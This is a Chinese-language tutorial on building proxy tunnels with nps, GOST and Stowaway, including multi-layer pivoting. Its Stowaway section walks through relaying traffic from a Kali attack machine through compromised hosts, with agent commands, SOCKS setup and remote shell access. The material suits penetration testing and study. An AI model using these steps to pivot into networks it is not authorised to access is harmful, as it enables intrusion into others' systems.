常见隧道搭建

本片文章主要记录常见隧道代理工具的使用.

nps

项目地址:https://github.com/ehang-io/nps

使用手册:https://ehang-io.github.io/nps/

服务端

选择对应操作系统版本的Server进行下载,下载后先注册服务:

nps install
nps.exe install

服务端启动依赖配置文件,Web管理页面入口, Web管理页面登录账号以及密码 都是可以通过配置文件进行修改的.

强烈建议大家在运行之前修改部分默认配置,如 后台端口, 后台登录账号以及密码等.

安装后 Linux 下的 nps 的配置在 /etc/nps/conf/nps.conf.

部分配置选项如图所示:

image-20221113233948975

启动服务端点

nps start

暂停服务端点

nps stop

客户端

访问Web管理页面,登录账号

先创建一个客户端

image-20221108004606069

Basic认证用户名和Basic认证密码用于 socks5, http,web连接认证
验证密钥用于nps 与 npc 之间的连接认证

创建隧道

以创建HTTP隧道为例:

使用HTTP隧道来访问内网的Web服务,操作如下:

  1. 新建HTTP隧道, 客户端ID 为之前创建客户端是生成的ID.

image-20221108005009281

服务端端口是指服务端流量交互的端口.

  1. 代理配置

配好以后,我们需要对流量代理工具进行配置.由于这里我们设置的HTTP隧道,因此这里我就直接通过配置浏览器代理插件.此处我推荐使用火狐浏览器, 对应插件为 FoxyProxy. Chrome的话可以使用 switchyomega.

代理类型选择 HTTP

端口对应为上一步创建的 服务端端口

用户名和密码为创建客户端时输入的 Basic认证用户名 和 Basic认证用密钥.如果在创建客户端时没有填写相关内容,则认证用户名和密码可以为空.

image-20221108005251271

随后下载npc到本地, 输入命令./npc -server=xxxx -vkey=xxx -type=tcp:

此命令可以直接点击客户端ID前面的 + 号获取.

image-20221114001750700

随后直接输入访问的内网地址即可.

对于终端用户,可以通过以下命令配置HTTP代理:

export http_proxy=http://USERNAME:PASSWORD@SERVICE:PORT/

如果没有密码的话, 直接

export http_proxy=http://SERVICE:PORT/

其他代理使用类似,这里就不再赘述.

其他:

nps代理工具0day漏洞分析

多层代理搭建

方法一:A/B/C都使用客户端连接服务器,不管在第几层,只要有网络且确保客户端机器能够出网,都可以 VPS->A,VPS->B,VPS->C。
方法二:只在A使用客户端连接服务器VPS->A,然后在A设置端口转发B,A->B

总结

整体而言, nps 图形化界面极大简化了入手门槛.在只有一层内网的时候,使用起来特别方便.

GOST

项目地址:https://github.com/ginuerzh/gost

使用手册:https://latest.gost.run/

简单使用:

开启 sock5服务,

./gost -L socks5://:1088

开启带认证的 socks5 服务:

./gost -L socks5://USERNAME:PASSWORD@:PORT

配置上层代理:

./gost -L socks5://:1080 -F socks5://admin:admin@192.168.0.2:1080

多层代理搭建

image-20221108235210934

场景:目前我们所在位置为 192.168.0.4, 我们需要通过走 192.168.0.3 再到 192.168.0.2 才能出网.

  1. 192.168.0.2上执行
./gost -L socks5://admin:admin@:1080

表示在本地 1080 开启了带有认证的socks5 服务, 账号和密码都为 admin.

  1. 192.168.0.3上执行
./gost -L socks5://:1080 -F socks5://admin:admin@192.168.0.2:1080

表示在本地1080开启未带认证的socks5 服务, 并将所有经过 socks5服务的流量发送至 上级代理 192.168.0.2socks5服务.

  1. 192.168.0.4 上执行
set ALL_PROXY=socks5://192.168.0.3:1080

表示本机所有的流量发送至 192.168.0.3:1080

总结

gost 更适用于将流量代理出去,适合搭建自己的代理节点.用于内网穿透的话效果不是很好.

Stowaway

项目地址:https://github.com/ph4ntonn/Stowaway

简单使用

一台公网服务器,运行admin主节点:

./linux_x64_admin -l 8856 -s 123456

该命令表示监听本地的 8856 端口,并指定加密密钥为123456

使用 agent 加入 admin

使用一台能出网的机器,运行子节点

./linux_x64_agent -c ADMIN_NODE_IP:8856 -s 123456

该命令表示加入 主节点 . -s 同样指定加密密码, 这里的密钥需要和 主节点的密钥相同, 否则无法建立连接

image-20221109171108146

主节点下主要有以下命令:

image-20221109171123166

detail: 显示节点的相关信息
topo: 节点与节点之间的拓扑
use: 操纵节点.

image-20221109171304278

可以看到子节点存在以下相关命令:

image-20221109171332590

常用命令:

shell: 获取节点的shell (这条命令很方便)
listen: 开启监听, 等待其他节点加入.(这条命令在多层网络拓扑中使用很方便)
socks: 在主节点的 port 端口开启一个代理, 指向本节点
connect: 主动连接其他节点.(其他节点使用 listen 开启了监听)
forward 和 backward 就是端口转发;
forward 表示将 主节点的某个端口映射到当前节点的某个端口
backward 表示将 当前节点的某个端口映射到主节点的某个端口

举例:

开启监听

listen

image-20221109174440585

此时我们用另一台机器去连接

./linux_x64_agent -c NODE_IP:8857 -s 123456

这里 -s 指定的密钥需要和 node 0 连接 admin节点的密钥相同.

image-20221109174703494

返回之后我们使用 topo 命令查看下 节点拓扑.可以发现 node0 存在一个子节点 node1

image-20221109174732385

image-20221109180157825

将node1 节点的 8153端口服务映射到 admin 节点的 7779

image-20221109180254929

node1 节点的机器执行

image-20221109180313741

可以看到成功建立连接

image-20221109180336468

同样也可以使用cs使用反弹node1本地的某个端口,再用 backward 端口转发, 实现内网上线的一个操作. 这里就不再演示.

socks 8879 admin admin123

在admin节点的8879 开启一个socks代理, 使通过 8879的所有流量都代理到 node1 内

在随便一台机器上连接socks代理

export ALL_PROXY=socks://admin:admin123@ADMIN_NODE_IP:8879

然后使用 使用 curl localhost:8889 即可访问到网页.

多层代理搭建

多层代理搭建主要使用 node的监听与连接实现.

image-20221114010536644

简单画了一个网络拓扑.其中 kali是一台拥有公网IP的攻击机, A是一台拥有公网IP的web服务器,并且其自身存在内网IP 192.168.0.2/24.

C 是一台位于 192.168.1.0/24网段的机器, 而B既位于 192.168.0.1/24 又位于 192.168.1.1.

代理搭建:

  1. 107.xxx的公网KALI上启动 stowaway admin主节点:
./linux_x64_admin -l 8856 -s 123456
  1. 在拿下A机器后,先使用client 连接主节点, 再开启sock5将公网流量带入 192.168.0.1/24网段, 拿下主机B.

    使用client 连接主节点

    ./linux_x64_agent -c 107.xxx.xxx.xxx:8856 -s 123456

    开启sock

    (admin)  >>use 0
    (node 0) >>socks 8879 admin admin123

    再KALI上配置sock5代理

    export ALL_PROXY=socks5://admin:admin@:8879
  2. 拿下B后, 现在使B和C连接的办法又两个. 1) A开启监听, B主动连接; 2) B开启监听, A主动连接.

    这里我以1) 为例:

    (node 0) >>listen
    	输入端口号: 8887

    此时将client上传至 B,执行以下命令连接 A

    ./linux_x64_agent -c 192.168.0.2:8887 -s 123456

    开启代理:

    (admin) >> use 1
    (node 1) >> socks 8880 adminb adminb
  3. 使用KALI连接代理,拿下 192.168.1.3

    exprot ALL_PROXY=socks5://adminb:adminb@:8880

总结

stowaway拥有和nps相同的内网穿透能力, 不过很显然, 在多层内网的条件下, stowaway的表现能力更胜一筹,其通过很简单的操作就能够实现层于层之间的通信,.

frp用于多层内网的搭建我就不写了,既麻烦又打老阔.